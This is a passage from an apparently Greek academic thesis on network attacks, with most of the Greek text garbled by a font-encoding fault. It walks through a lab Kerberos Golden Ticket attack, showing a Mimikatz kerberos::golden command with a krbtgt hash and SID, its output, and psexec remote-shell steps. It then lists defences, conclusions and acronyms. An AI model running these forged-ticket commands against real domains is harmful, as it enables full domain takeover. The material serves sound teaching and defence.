Ticket". Απηό ην εηζηηήξην πεξηιακβάλεη πιεξνθνξίεο ζρεηηθά κε ηα 

δηθαηώκαηα πξόζβαζεο πνπ δηαζέηεη ν ρξήζηεο.  

3. Απζεληηθνπνίεζε θαη Πξόζβαζε: Ο επηηηζέκελνο κε ην Golden Ticket 

απζεληηθνπνηείηαη ζην Active Directory ρσξίο λα ρξεηάδεηαη ν πξαγκαηηθόο 

θσδηθόο πξόζβαζεο. Δπηπιένλ, ην Golden Ticket ηνπ επηηξέπεη λα απνθηήζεη 

πξόζβαζε ζε όπνηα ππεξεζία επηζπκεί, παξηζηάλνληαο έλαλ εμνπζηνδνηεκέλν 

ρξήζηε. 



 

Σν Golden Ticket αλαθέξεηαη σο έλα είδνο επίζεζεο πνπ εθκεηαιιεύεηαη ην ζύζηεκα 

εθρώξεζεο εηζηηεξίσλ ηνπ Kerberos γηα ηε δεκηνπξγία πιαζηώλ εηζηηεξίσλ πνπ 

παξέρνπλ πξόζβαζε κεγάιεο δηάξθεηαο ζε ππεξεζίεο ζην πεξηβάιινλ ηνπ Active 

Directory. Οπζηαζηηθά είλαη γηα κηα επίζεζε pass-the-ticket, αιιά πξόθεηηαη γηα έλα 

ζπγθεθξηκέλν εηζηηήξην πνπ αθνξά έλαλ θξπθό ινγαξηαζκό πνπ νλνκάδεηαη 

KRBTGT, ν νπνίνο  είλαη ν ινγαξηαζκόο πνπ θξππηνγξαθεί όια ηα άιια εηζηηήξηα.  

 

Έλα ρξπζό εηζηηήξην παξέρεη ζηνλ επηηηζέκελν δηαπηζηεπηήξηα δηαρεηξηζηή ρσξίο 

ιήμε γηα νπνηνλδήπνηε ππνινγηζηή ζην δίθηπν θαη απηό είλαη θάηη πνπ ηελ θαζηζηά 

εμαηξεηηθά επηθίλδπλε επίζεζε (Αλαζηάζεο Βαζηιεηάδεο, 2022). 

 

 

Δληνιέο γηα ηελ επίζεζε 

 

 

ε απηήλ ηελ ηειεπηαία επίζεζε, ν επηηηζέκελνο ζα εθκεηαιιεπηεί ηνλ 

θαηαθεξκαηηζκό NTLM ηνπ ινγαξηαζκνύ krbtgt γηα λα δεκηνπξγήζεη έλα εηζηηήξην 

TGT ρξεζηκνπνηώληαο ην Mimikatz. Γηα λα εθηειέζεη απηήλ ηελ επίζεζε, ρξεηάδεηαη 

ηνλ θαηαθεξκαηηζκό ινγαξηαζκνύ krbtgt (ηνλ νπνίν θαη παξνπζηάζηεθε πσο κπνξεί 

έλαο θαθόβνπινο λα απνθηήζεη από ηελ πξνεγνύκελε επίζεζε), θαζώο θαη ην SID 

ηνκέα.  

 

Θα ρξεζηκνπνηεζεί ν ινγαξηαζκόο πνπ δεκηνπξγήζεθε γηα ηελ επίζεζε DCSync θαη 

ν επηηηζέκελνο έηζη ζα δεκηνπξγήζεη έλα Golden Ticket κε ην Mimikatz.  

 

Σώξα εθηειείηαη από ηε γξακκή εληνιώλ ε αθόινπζε εληνιή psexec64.exe 

 

\\dc.asimina.local cmd , όπνπ ην asimina ζα πξέπεη λα αληηθαηαζηαζεί κε ην όλνκα 

ηνκέα θαη ην dc κε ην όλνκα ηνπ ειεγθηή ηνκέα. Δάλ ν επηηηζέκελνο, έρεη 

πιαζηνγξαθήζεη ζσζηά ην εηζηηήξην TGT, ζα πξέπεη λα κπνξεί λα ζπλδεζεί ζηνλ 

ειεγθηή ηνκέα (δει., απνκαθξπζκέλν θέιπθνο).  

 

Γηα λα βξεη θάπνηνο  ην SID αθνινπζεί ηα παξαθάησ βήκαηα:  

 



 

Σν Αλαγλσξηζηηθό αζθαιείαο ή ην SID είλαη έλαο κνλαδηθόο αξηζκόο 

αλαγλσξηζηηθνύ πνπ εθρσξείηαη ζε θάζε ρξήζηε, νκάδα ή ππνινγηζηή ησλ Windows 

ζην δίθηπν πνπ ειέγρεηαη από ηνλ ηνκέα. 

 ηα windows 10 πιεθηξνινγεί ην εμήο ζε cmd: whoami /all γηα λα βξεζεί ν 

ηνκέαο SID πνπ ζα ρξεηαζηεί ζε παξαθάησ εληνιή. 

C:\Windows\system32>whoami /all 

 

USER INFORMATION 

---------------- 

User Name      SID 

============== ============================================= 

asimi\extended S-1-5-21-3432668484-190059196-1493643663-1112 

 

 

Δηθόλα 36: Δληνιή whoami /all γηα λα βξεζεί ν ηνκέαο SID. 

 

Αθνύ ν επηηηζέκελνο ζέζεη ζε θίλδπλν ηνλ θαηαθεξκαηηζκό ηνπ θσδηθνύ πξόζβαζεο 

KRBTGT, γίλεηαη ρξήζε ηνπ εξγαιείνπ Mimikatz γηα λα πιαζηνγξαθήζεη ην 

εηζηηήξην ζην Kerberos. ηε ζπλέρεηα, κπνξεί λα ρξεζηκνπνηήζεη ην πιαζηό εηζηηήξην 

γηα λα απνθηήζεη πξόζβαζε ζε πόξνπο πνπ είλαη ελζσκαησκέλνη ζην Kerberos.  

 

Δπεηδή ην TGT είλαη ππνγεγξακκέλν θαη θξππηνγξαθεκέλν κε ηνλ πξαγκαηηθό 

θαηαθεξκαηηζκό θσδηθνύ πξόζβαζεο KRBTGT, νπνηνζδήπνηε ειεγθηήο ηνκέα ζα ην 



 

απνδερζεί σο απόδεημε ηαπηόηεηαο θαη ζα εθδώζεη εηζηηήξηα γηα ηελ ππεξεζία 

ρνξήγεζεο εηζηηεξίσλ (TGS).  

 

Σα Golden Tickets είλαη πιαζηά Ticket-Granting Tickets (TGT), πνπ νλνκάδνληαη 

επίζεο εηζηηήξηα ειέγρνπ ηαπηόηεηαο. Όπσο θαίλεηαη, δελ ππάξρεη επηθνηλσλία AS-

REQ ή AS-REP (βήκαηα 1 & 2) κε ηνλ ειεγθηή ηνκέα. Γεδνκέλνπ όηη έλα Golden 

Ticket είλαη έλα πιαζηό TGT, απνζηέιιεηαη ζηνλ ειεγθηή ηνκέα σο κέξνο ηνπ TGS-

REQ γηα λα ιάβεη έλα εηζηηήξην ππεξεζίαο. 

 

Ξεθηλάεη ε επίζεζε κε ηελ παξαθάησ εληνιή κε ηελ νπνία ν επηηηζέκελνο δειώλεη 

αξρηθά πνηα επίζεζε ζέιεη λα θάλεη κε ην εξγαιείν θαη ζηελ πεξίπησζε απηή ηελ 

golden. Έπεηηα θηηάρλεη έλαλ πιαζηό ρξήζηε ηνλ cursed δειώλεη επίζεο θαη ην 

domain name θαζώο θαη ην SID, κεηά δειώλεη ην id: 500 πνπ αθνξά ηηο επηδώζεηο 

ησλ windows θαη ηέινο δειώλεη κε ην ptt όηη πξόθεηηαη γηα κία pash the ticket 

επίζεζε θαη λα θάλεη παξάθακςε εηζηηεξίνπ. 

 

 mimikatz # kerberos::golden /user:cursed /domain:asimina.local /sid:-1-5-

21-3432668484-190059196-1493643663 

/krbtgt:f634b3ca2d061d2ebd78627667d18417 /id:500 /ptt 

User      : cursed 

Domain    : asimina.local 

ServiceKey: f634b3ca2d061d2ebd78627667d18417 - rc4_hmac_nt 

Lifetime  : 6/3/2023 12:38:43 PM ; 5/31/2033 12:38:43 PM ; 5/31/2033 12:38:43 PM 

-> Ticket : ** Pass The Ticket ** 

* EncTicketPart generated 

* EncTicketPart encrypted 

* KrbCred generated 

Golden ticket for 'cursed @ asimina.local' successfully submitted for current session 

 

 
 

Δηθόλα 37: Γεκηνπξγία Golden Ticket ζην Kerberos. 



 

 
 

Δηθόλα 38: Δπηβεβαηώλεηαη όηη ππάξρεη ην εηζηηήξην πνπ κόιηο θηηάρηεθε. 

 

 

Αθνύ επηβεβαηώζεθε ν επηηηζέκελνο πσο ππάξρεη ην εηζηηήξην πνπ έθηηαμε, έπεηηα 

ηξέρεη ηελ αθόινπζε εληνιή γηα λα δεη αλ έρεη απνκαθξπζκέλε πξόζβαζε ζην 

ζύζηεκα ηνπ ρξήζηε θαη ζαλ απνηέιεζκα βιέπεη πσο έρεη. 

 \\10.20.20.229\ cmd.exe 

 

 

 
 

Δηθόλα 39: Με ηελ εληνιή απηή πιένλ έρεη ν θαθόβνπινο πξόζβαζε ζην ζύζηεκα ηνπ ρξήζηε. 

 

 

Μέηξα πξνζηαζίαο γηα ηελ επίζεζε Golden Ticket 

 

ην ζεκεξηλό πεξηβάιινλ εξγαζίαο κε γξήγνξνπο ξπζκνύο, νη ρξήζηεο αλακέλεηαη λα 

ρξεζηκνπνηνύλ ηελ ςεθηαθή ηνπο ηαπηόηεηα γηα λα ζπλαιιάζζνληαη γξήγνξα θαη κε 

αζθάιεηα.  

 

file://10.20.20.229


 

Η αζθάιεηα πνπ βαζίδεηαη ζηελ ηαπηόηεηα πξέπεη λα απνηειεί αλαπόζπαζην κέξνο 

ηεο ζηξαηεγηθήο θπβεξλναζθάιεηαο κηαο επηρείξεζεο ή ελόο δηθηύνπ, θαζώο νη 

παξάγνληεο απεηιώλ ζπλερίδνπλ λα εθκεηαιιεύνληαη κεζόδνπο επίζεζεο όπσο ε 

επίζεζε Golden Ticket. Κάπνηα κέηξα πξόιεςεο θαη πξνζηαζίαο από κία ηέηνηα 

επίζεζε είλαη ηα αθόινπζα:  

 

1. Καηαγξαθή πκβάλησλ: Δλεξγνπνίεζε ηεο ιεηηνπξγίαο θαηαγξαθήο 

ζπκβάλησλ ζην Active Directory γηα ηελ παξαθνινύζεζε ηεο 

δξαζηεξηόηεηαο, ηδίσο όζνλ αθνξά ηηο αιιαγέο θαηά ηε δηάξθεηα ηεο 

απζεληηθνπνίεζεο.  

2. Δθαξκνγή Αξρώλ Διάρηζηεο Πξνλνκηνύραο Πξόζβαζεο: Δθαξκνγή ηεο 

αξρήο ηεο ειάρηζηεο πξνλνκηνύραο πξόζβαζεο, δίλνληαο ζηνπο ρξήζηεο θαη 

ηνπο δηαρεηξηζηέο κόλν ηα απαξαίηεηα δηθαηώκαηα.  

3. Κξππηνγξαθηθή Πξνζηαζία: Δθαξκνγή κέηξσλ αζθάιεηαο όπσο ε 

θξππηνγξάθεζε ησλ εηζηηεξίσλ Kerberos, πξνζηαηεύνληαο έηζη ηα δεδνκέλα 

θαηά ηε κεηαθνξά ηνπο.  

4. Καηαζηξνθή Κιεκκέλσλ Γηαπηζηεύζεσλ: Δάλ ππάξμεη ύπνπηε 

δξαζηεξηόηεηα, ε άκεζε αλίρλεπζε θαη απόθξηζε είλαη δσηηθήο ζεκαζίαο. 

Πξέπεη λα θαηαζηξαθνύλ νη θιεκκέλεο δηαπηζηεύζεηο θαη λα γίλεηαη αλαλέσζε 

ησλ εηζηηεξίσλ. 

5. Σαθηηθή ελεκέξσζε ηνπ θσδηθνύ πξόζβαζεο KRBTGT: Η αιιαγή ηνπ 

θσδηθνύ πξόζβαζεο δύν θνξέο δηαζθαιίδεη όηη νπνηνδήπνηε εηζηηήξην 

ππνγξάθεηαη κε θιεκκέλν θιεηδί KDC ζα αθπξσζεί. Σν DC απνζεθεύεη δύν 

εθδόζεηο ηνπ θσδηθνύ πξόζβαζεο KRBTGT (κηα ηξέρνπζα θαη πξνεγνύκελε 

έθδνζε), πνπ επηηξέπεη ζην KDC λα ειέγρεη εάλ έλα κε έγθπξν TGT έρεη 

θιεηδί KDC πνπ ηαηξηάδεη κε έλαλ πξνεγνύκελν θσδηθό πξόζβαζεο KRBTGT 

(ην αλαγλσξηζηηθό ζπκβάληνο ησλ Windows 4769 ζα εηδνπνηήζεη εάλ έλα 

ρξπζό δειηίν ππνβιεζεί ζε DC κεηά ηελ επαλαθνξά ηνπ θσδηθνύ πξόζβαζεο 

KRBTGT δύν θνξέο).  

6. Να γίλεηαη ζπρλή επηβεβαίσζε όηη ηα DC πξνζηαηεύνληαη θαιά 

πεξηνξίδνληαο ηνλ αξηζκό ησλ ινγαξηαζκώλ κε δηθαηώκαηα δηαρεηξηζηή 

ηνκέα: Πξέπεη λα γίλεηαη επηβεβαίσζε ν αξηζκόο ησλ δηαθνκηζηώλ ζηνπο 

νπνίνπο ζπλδέεηαη έλαο δηαρεηξηζηήο ηνκέα θαη λα γίλεηαη επίζεο εθρώξεζε 



 

δηθαησκάησλ δηαρεηξηζηή ζε πξνζαξκνζκέλεο νκάδεο δηαρεηξηζηώλ (Kirsten 

Gantenbein, 2021). 

7. Οη νξγαληζκνί ζα πξέπεη λα εθαξκόζνπλ νινθιεξσκέλεο ιύζεηο 

πξνζηαζίαο AD γηα λα κελ κπνξέζνπλ νη εηζβνιείο λα πιαζηνγξαθήζνπλ 

εηζηηήξηα θαη λα αλαιάβνπλ ηελ πιήξε θπξηαξρία ηνπ ηνκέα (Vikram Navali, 

2022).  

 

ε θάζε πεξίπησζε, ε πξόιεςε ηεο επίζεζεο Golden Ticket απαηηεί ζπλερή 

παξαθνινύζεζε, θαηαγξαθή θαη ηελ πηνζέηεζε βέιηηζησλ πξαθηηθώλ αζθαιείαο ζε 

επίπεδν Active Directory. Η ζπλδπαζκέλε ρξήζε ηερληθώλ θαη κέηξσλ αζθαιείαο 

απνηειεί ην θιεηδί γηα ηελ πξνζηαζία από απηόλ ηνλ εμειηγκέλν ηύπν επίζεζεο. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

πκπεξάζκαηα 

 

ην πιαίζην απηήο ηεο εξγαζίαο, εμεηάζηεθε έλα κεγάιν εύξνο επηζέζεσλ ζην δίθηπν, 

κε έκθαζε ζε επηζέζεηο DDoS, απόπεηξεο δηείζδπζεο θαη επηζέζεηο man-in-the-

middle. Δπίζεο παξνπζηάζηεθαλ θαη επηζέζεηο πάλσ ζην πξσηόθνιιν Kerberos.  

 

Η αζθάιεηα ησλ δηθηύσλ έρεη θαηαζηεί νπζηαζηηθή πξνηεξαηόηεηα, θαζώο νη 

εμειηζζόκελεο απεηιέο απαηηνύλ αλαιπηηθή θαηαλόεζε θαη απνηειεζκαηηθέο 

ζηξαηεγηθέο αληηκεηώπηζεο. 

 

Αλάιπζε ησλ Δπηζέζεσλ  

 

1. Δπηζέζεηο DDoS: Οη επηζέζεηο DDoS αληηπξνζσπεύνπλ κηα ζνβαξή απεηιή 

γηα ηε δηαζεζηκόηεηα ησλ ππεξεζηώλ. Η αλίρλεπζε θαη ε θξηζηκόηεηα ηνπο 

απαηηνύλ ηε ρξήζε πξνεγκέλσλ κεραληζκώλ αλίρλεπζεο, θαζώο θαη ηε 

ζπλεξγαζία κε παξόρνπο ππεξεζηώλ αζθαιείαο DDoS.  

2. Απόπεηξεο Γηείζδπζεο: Οη απόπεηξεο δηείζδπζεο αλαδεηθλύνπλ ηε ζεκαζία 

ηνπ εθηεηακέλνπ πεξηβαιινληηθνύ ειέγρνπ. Η ζπλερήο παξαθνινύζεζε, ε 

αλαγλώξηζε αδπλακηώλ θαη ε ηαθηηθή ελεκέξσζε ησλ ζπζηεκάησλ είλαη 

θαζνξηζηηθέο.  

3. Δπηζέζεηο Man-in-the-Middle: Οη επηζέζεηο Man-in-the-Middle 

επηζεκαίλνπλ ηε ζεκαζία ηεο θξππηνγξάθεζεο θαη ηεο επαιήζεπζεο 

ηαπηόηεηαο. Η ρξήζε πξσηνθόιισλ όπσο ην HTTPS, καδί κε κέηξα 

πξόιεςεο όπσο ην DNSSEC, απνηεινύλ νπζηαζηηθά κέζα πξνζηαζίαο.  

4. Eπηζέζεηο ζην Kerberos: Οη επηζέζεηο ζην Kerberos απαηηεί ζπλδπαζκό 

ηερληθώλ θαη νξγαλσηηθώλ κέηξσλ γηα ηελ πξνζηαζία ηνπ ζπζηήκαηνο 

απζεληηθνπνίεζεο. Η ζπλερήο ελεκέξσζε ζπζηεκάησλ, θξππηνγξάθεζε 

εηζηηεξίσλ, παξαθνινύζεζε ζπκβάλησλ, δηαρείξηζε θιεηδηώλ, εθπαίδεπζε 

ρξεζηώλ, αληηκεηώπηζε θινπήο δηαπηζηεύζεσλ θαη ν πεξηνξηζκόο 

δηθαησκάησλ ρξήζηε είλαη απηά πνπ απνηεινύλ νπζηαζηηθά κέηξα πξνζηαζίαο 

από ηέηνηνπ είδνπο επηζέζεηο. 

 



 

Αληηκεηώπηζε ησλ Δπηζέζεσλ  

 

1. Δληζρπκέλε Τπνδνκή Γηθηύνπ: Η επέλδπζε ζε εληζρπκέλε ππνδνκή 

δηθηύνπ, όπσο εμειηγκέλα firewalls θαη ζπζηήκαηα αλίρλεπζεο/πξνζηαζίαο 

από επηζέζεηο, είλαη δσηηθήο ζεκαζίαο γηα ηελ αληηκεηώπηζε επηζέζεσλ DDoS 

θαη απνπεηξώλ δηείζδπζεο.  

 

2. Δθπαίδεπζε  θαη Δπαηζζεηνπνίεζε: Η ζπλερήο εθπαίδεπζε ηνπ 

πξνζσπηθνύ ζρεηηθά κε ηηο απεηιέο θαη ηηο βέιηηζηεο πξαθηηθέο αζθαιείαο 

απμάλεη ηελ επαηζζεηνπνίεζε θαη κεηώλεη ηνλ θίλδπλν επηηπρνύο επίζεζεο.  

 

3. Δθαξκνγή Κξππηνγξαθίαο θαη Δπαιήζεπζεο Σαπηόηεηαο: Η ρξήζε 

πξσηνθόιισλ θξππηνγξάθεζεο όπσο ην SSL/TLS θαη ε επαιήζεπζε 

ηαπηόηεηαο κεηώλνπλ ηελ επηξξνή επηζέζεσλ man-in-the-middle.  

 

Παξαθνινύζεζε θαη Αλίρλεπζε  

 

Η ζπζηεκαηηθή παξαθνινύζεζε ηεο δηθηπαθήο θίλεζεο θαη ε ρξήζε ζπζηεκάησλ 

αλίρλεπζεο επηζέζεσλ είλαη νπζηαζηηθή. Η άκεζε αληίδξαζε ζε ύπνπηεο 

δξαζηεξηόηεηεο κπνξεί λα εκπνδίζεη ηελ εμάπισζε ηεο απεηιήο πξηλ πξνθαιέζεη 

ζνβαξέο δεκηέο ζηα ζπζηήκαηα.  

 

Δλίζρπζε Πξνζηαζίαο ζην Δπίπεδν ησλ πζθεπώλ 

 

Οη ζπζθεπέο πνπ ζπλδένληαη ζην δίθηπν, όπσο νη ππνινγηζηέο, νη εθηππσηέο θαη 

νη ζπζθεπέο Internet of Things (IoT), πξέπεη λα έρνπλ εληζρπκέλα κέηξα 

αζθαιείαο. Οη ελεκεξώζεηο ινγηζκηθνύ, ε ρξήζε πνιύπινθσλ θσδηθώλ θαη ε 

εθαξκνγή αξρώλ least privilege είλαη δσηηθήο ζεκαζίαο.  

 

Δθπαίδεπζε Υξεζηώλ  

 

Οη ρξήζηεο απνηεινύλ ζπρλά ηνλ πην επάισην θξίθν ζηελ αζθάιεηα. Η 

εθπαίδεπζή ηνπο γηα ηελ αλαγλώξηζε θαηλνκέλσλ θνηλσληθήο κεραληθήο, ηελ 



 

πξνζεθηηθή ρξήζε θσδηθώλ θαη ηελ αλαθνξά ύπνπησλ δξαζηεξηνηήησλ είλαη 

απαξαίηεηε. 

 

Κξίζηκε Τπνδνκή θαη Τπεξεζίεο Cloud  

 

Η κεηάβαζε πξνο ππεξεζίεο cloud απαηηεί επίζεο εληζρπκέλα κέηξα αζθαιείαο. 

Η πξνζηαζία ησλ δεδνκέλσλ θαηά ηε κεηαθνξά θαη ηελ απνζήθεπζε, θαζώο θαη ε 

δηαρείξηζε ηαπηνπνίεζεο, είλαη αλαγθαίεο γηα ηε δηαζθάιηζε ηεο αζθάιεηαο ζε 

απηό ην πεξηβάιινλ.  

 

πλερήο Δθζπγρξνληζκόο 

 

Η αζθάιεηα ηνπ δηθηύνπ είλαη κία ζπλερήο πξόθιεζε, ιόγσ ηεο εμέιημεο ησλ 

ηερλνινγηώλ θαη ησλ απεηιώλ. Η εθαξκνγή πνιηηηθώλ θαη ηερληθώλ ελεκεξώζεσλ 

είλαη απαξαίηεηε γηα ηε δηαηήξεζε κηαο απνηειεζκαηηθήο ζηξαηεγηθήο 

αζθαιείαο.  

 

πκπεξαζκαηηθά ε αζθάιεηα ηνπ δηθηύνπ απαηηεί κία ζπλνιηθή πξνζέγγηζε, 

ζπλδπάδνληαο ηόζν ηερληθά όζν θαη νξγαλσηηθά κέηξα. Η ζπλερήο ελεκέξσζε, ε 

πξνιεπηηθή πξνζέγγηζε θαη ε ζηελή ζπλεξγαζία κε ηνπο εηδηθνύο αζθαιείαο 

απνηεινύλ ην θιεηδί γηα ηελ πξνζηαζία από ηηο ζύγρξνλεο απεηιέο ηνπ 

θπβεξλνρώξνπ. Με ηελ πηνζέηεζε πξνιεπηηθώλ, αληρλεπηηθώλ θαη αληηδξαζηηθώλ 

κέηξσλ,  νη νξγαληζκνί κπνξνύλ λα εληζρύζνπλ ηελ αλζεθηηθόηεηά ηνπο έλαληη 

ησλ ζύγρξνλσλ θπβεξλναπεηιώλ. 

 

Με ηελ εθαξκνγή απηώλ ησλ αξρώλ, νη νξγαληζκνί κπνξνύλ λα εληζρύζνπλ ηελ 

αλζεθηηθόηεηά ηνπο θαη λα πξνζηαηεύζνπλ απνηειεζκαηηθά ηα δίθηπά ηνπο από 

πνηθίιεο επηζέζεηο.  

 

 

 

 

 



 

Αξθηηθόιεμα 

 

1. DDoS (Distributed Denial of Service) 

2. MITM (Man-in-the-Middle)  

3. SQL (Structured query language) 

4. DNS (Domain Name System) 

5. BEC (Business Email Compromise) 

6. XSS (Cross-site Scripting) 

7. CSIRT-CY (National Computer Security Incident Response Team of Cyprus) 

8. DoS (Denial-of-Service) 

9. IP (Internet Protocol) 

10. UDP (User Datagram Protocol) 

11. SYN (Synchronize) 

12. CDNs (Content Delivery Networks) 

13. MitM (Man-in-the-Middle) 

14. Wi-Fi (Wireless Fidelity) 

15. ARP (Address Resolution Protocol) 

16. SSL (Secure Sockets Layer) 

17. HTTPS (Hypertext Transfer Protocol Secure) 

18. IDS (Intrusion Detection System) 

19. MAC (Media Access Control) 

20. Nmap (Network Mapper) 

21. TLS (Transport Layer Security) 

22. SSL (Secure Sockets Layer) 

23. VPN (Virtual Private Network) 

24. TCP (Transmission Control Protocol) 

25. ID (Identification) 

26. HTTP (HyperText Transfer Protocol) 

27. LAN (Local Area Network) 

28. SMS (Short Message Service) 

29. BGP (Border Gateway Protocol) 

30. DNSSEC (Domain Name System Security Extentions) 

31. IDS (Intrusion Detection Systems)  



 

32. IPS (Intrusion Prevention Systems)  

33. MIT (Massachusetts Institute of Technology) 

34. TGT (Ticket Granting Ticket)  

35. AS (Authentication Server) 

36. KDC (Key Distribution Center) 

37. TGS (Ticket Granting Server) 

38. SPN (Service Principal Name) 

39. SSO (Single Sign-On) 

40. PTT (Pass-the-Ticket) 

41. DES (Data Encryption Standard) 

42. RC4 (Rivest Cipher 4)  

43. AES (Advanced Encryption Standard) 

44. NTLM - NT (New Technology) , LM (LAN Manager) 

45. KRBtgt - KRB (Kerberos), tgt (Ticket Granting Ticket) 

46. PAC (Privileged Attribute Certificate) 

47. AD (Active Directory) 

48. NTP (Network Time Protocol) 

49. RFC (Requests for Comments) 

50. AS-REP (Authentication Service" (AS) response message) 

51. DC (Domain Controller) 

52. CMD (Command Prompt) 

53. DCSync (Domain Controller Synchronization) 

54. SID (Security Identifier) 

55. AS-REQ (Authentication Service Request) 

56. AS-REP (Authentication Server Response) 
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